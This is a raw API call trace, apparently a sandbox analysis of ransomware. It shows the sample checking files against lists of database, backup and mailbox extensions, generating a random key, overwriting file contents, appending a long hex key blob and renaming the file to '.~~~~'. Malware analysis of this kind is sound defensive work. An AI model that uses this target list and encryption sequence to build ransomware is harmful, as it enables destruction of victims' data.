	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0076.167] lstrlenW (lpString=".mdf") returned 4
	[0076.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0076.168] lstrlenW (lpString=".BAK") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0076.168] lstrlenW (lpString=".BAC") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0076.168] lstrlenW (lpString=".dbs") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0076.168] lstrlenW (lpString=".vhdx") returned 5
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0076.168] lstrlenW (lpString=".NDF") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0076.168] lstrlenW (lpString=".dat") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0076.168] lstrlenW (lpString=".DBS") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0076.168] lstrlenW (lpString=".CKP") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0076.168] lstrlenW (lpString=".edb") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0076.168] lstrlenW (lpString=".PST") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0076.168] lstrlenW (lpString=".dbf") returned 4
	[0076.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0076.169] lstrlenW (lpString=".SQL") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0076.169] lstrlenW (lpString=".pst") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0076.169] lstrlenW (lpString=".dbv") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0076.169] lstrlenW (lpString=".SDF") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0076.169] lstrlenW (lpString=".dtxs") returned 5
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0076.169] lstrlenW (lpString=".db3") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0076.169] lstrlenW (lpString=".OST") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0076.169] lstrlenW (lpString=".dbx") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0076.169] lstrlenW (lpString=".DB3") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0076.169] lstrlenW (lpString=".DAT") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0076.169] lstrlenW (lpString=".VHDX") returned 5
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0076.169] lstrlenW (lpString=".ndf") returned 4
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0076.169] lstrlenW (lpString=".DB") returned 3
	[0076.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0076.170] lstrlenW (lpString=".sql") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0076.170] lstrlenW (lpString=".MYD") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0076.170] lstrlenW (lpString=".DBT") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0076.170] lstrlenW (lpString=".ACCDB") returned 6
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0076.170] lstrlenW (lpString=".fdb") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0076.170] lstrlenW (lpString=".bak") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0076.170] lstrlenW (lpString=".myd") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0076.170] lstrlenW (lpString=".DTXS") returned 5
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0076.170] lstrlenW (lpString=".ckp") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0076.170] lstrlenW (lpString=".dbt") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0076.170] lstrlenW (lpString=".db") returned 3
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0076.170] lstrlenW (lpString=".TXT") returned 4
	[0076.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0076.170] lstrlenW (lpString=".MDF") returned 4
	[0076.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0076.171] lstrlenW (lpString=".bdb") returned 4
	[0076.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0076.171] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a2fa8
	[0076.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.171] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.172] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.172] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.172] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19616224886) returned 1
	[0076.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x974d5df0, dwHighDateTime=0x1d60e1e)) 
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa18
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa18 | out: hHeap=0x300000) returned 1
	[0076.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0076.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.173] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.173] GetLastError () returned 0x0
	[0076.173] GetLastError () returned 0x0
	[0076.173] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.173] GetLastError () returned 0x0
	[0076.173] GetLastError () returned 0x0
	[0076.173] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0076.184] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.184] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0076.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.184] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.184] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.184] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.184] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.184] CloseHandle (hObject=0x11c) returned 1
	[0076.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.185] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0076.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0076.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.185] GetLastError () returned 0x0
	[0076.185] RtlWakeConditionVariable () returned 0x365f70
	[0076.185] GetCurrentThreadId () returned 0x3a4
	[0076.219] GetCurrentThreadId () returned 0x3a4
	[0076.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ed0 | out: hHeap=0x300000) returned 1
	[0076.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faba0 | out: hHeap=0x300000) returned 1
	[0076.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ed0
	[0076.220] lstrlenW (lpString=".scr") returned 4
	[0076.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".scr") returned 0x0
	[0076.220] lstrlenW (lpString=".cmd") returned 4
	[0076.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".cmd") returned 0x0
	[0076.220] lstrlenW (lpString=".dll") returned 4
	[0076.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dll") returned 0x0
	[0076.220] lstrlenW (lpString=".bat") returned 4
	[0076.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".bat") returned 0x0
	[0076.220] lstrlenW (lpString=".cpl") returned 4
	[0076.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".cpl") returned 0x0
	[0076.221] lstrlenW (lpString=".sys") returned 4
	[0076.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".sys") returned 0x0
	[0076.221] lstrlenW (lpString=".msc") returned 4
	[0076.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".msc") returned 0x0
	[0076.221] lstrlenW (lpString=".com") returned 4
	[0076.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".com") returned 0x0
	[0076.221] lstrlenW (lpString=".lnk") returned 4
	[0076.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".lnk") returned 0x0
	[0076.221] lstrlenW (lpString=".msp") returned 4
	[0076.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".msp") returned 0x0
	[0076.221] lstrlenW (lpString=".pif") returned 4
	[0076.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".pif") returned 0x0
	[0076.221] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0076.221] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.363] lstrlenW (lpString=".sqb") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".sqb") returned 0x0
	[0076.373] lstrlenW (lpString=".ost") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".ost") returned 0x0
	[0076.373] lstrlenW (lpString=".txt") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".txt") returned 0x0
	[0076.373] lstrlenW (lpString=".mdt") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".mdt") returned 0x0
	[0076.373] lstrlenW (lpString=".BDB") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".BDB") returned 0x0
	[0076.373] lstrlenW (lpString=".eql") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".eql") returned 0x0
	[0076.373] lstrlenW (lpString=".DBF") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DBF") returned 0x0
	[0076.373] lstrlenW (lpString=".EQL") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".EQL") returned 0x0
	[0076.373] lstrlenW (lpString=".FDB") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".FDB") returned 0x0
	[0076.373] lstrlenW (lpString=".EDB") returned 4
	[0076.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".EDB") returned 0x0
	[0076.386] lstrlenW (lpString=".DACPAC") returned 7
	[0076.400] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DACPAC") returned 0x0
	[0076.400] lstrlenW (lpString=".VHD") returned 4
	[0076.400] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".VHD") returned 0x0
	[0076.400] lstrlenW (lpString=".DBV") returned 4
	[0076.400] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DBV") returned 0x0
	[0076.400] lstrlenW (lpString=".dacpac") returned 7
	[0076.400] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dacpac") returned 0x0
	[0076.400] lstrlenW (lpString=".sdf") returned 4
	[0076.400] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".sdf") returned 0x0
	[0076.400] lstrlenW (lpString=".accdb") returned 6
	[0076.400] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".accdb") returned 0x0
	[0076.400] lstrlenW (lpString=".DBX") returned 4
	[0076.400] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DBX") returned 0x0
	[0076.401] lstrlenW (lpString=".MDT") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".MDT") returned 0x0
	[0076.401] lstrlenW (lpString=".SQB") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".SQB") returned 0x0
	[0076.401] lstrlenW (lpString=".vhd") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".vhd") returned 0x0
	[0076.401] lstrlenW (lpString=".bac") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".bac") returned 0x0
	[0076.401] lstrlenW (lpString=".mdf") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".mdf") returned 0x0
	[0076.401] lstrlenW (lpString=".BAK") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".BAK") returned 0x0
	[0076.401] lstrlenW (lpString=".BAC") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".BAC") returned 0x0
	[0076.401] lstrlenW (lpString=".dbs") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dbs") returned 0x0
	[0076.401] lstrlenW (lpString=".vhdx") returned 5
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".vhdx") returned 0x0
	[0076.401] lstrlenW (lpString=".NDF") returned 4
	[0076.401] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".NDF") returned 0x0
	[0076.402] lstrlenW (lpString=".dat") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dat") returned 0x0
	[0076.402] lstrlenW (lpString=".DBS") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".DBS") returned 0x0
	[0076.402] lstrlenW (lpString=".CKP") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".CKP") returned 0x0
	[0076.402] lstrlenW (lpString=".edb") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".edb") returned 0x0
	[0076.402] lstrlenW (lpString=".PST") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".PST") returned 0x0
	[0076.402] lstrlenW (lpString=".dbf") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dbf") returned 0x0
	[0076.402] lstrlenW (lpString=".SQL") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".SQL") returned 0x0
	[0076.402] lstrlenW (lpString=".pst") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".pst") returned 0x0
	[0076.402] lstrlenW (lpString=".dbv") returned 4
	[0076.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE", lpSrch=".dbv") returned 0x0
	[0076.402] lstrlenW (lpString=".SDF") returned 4
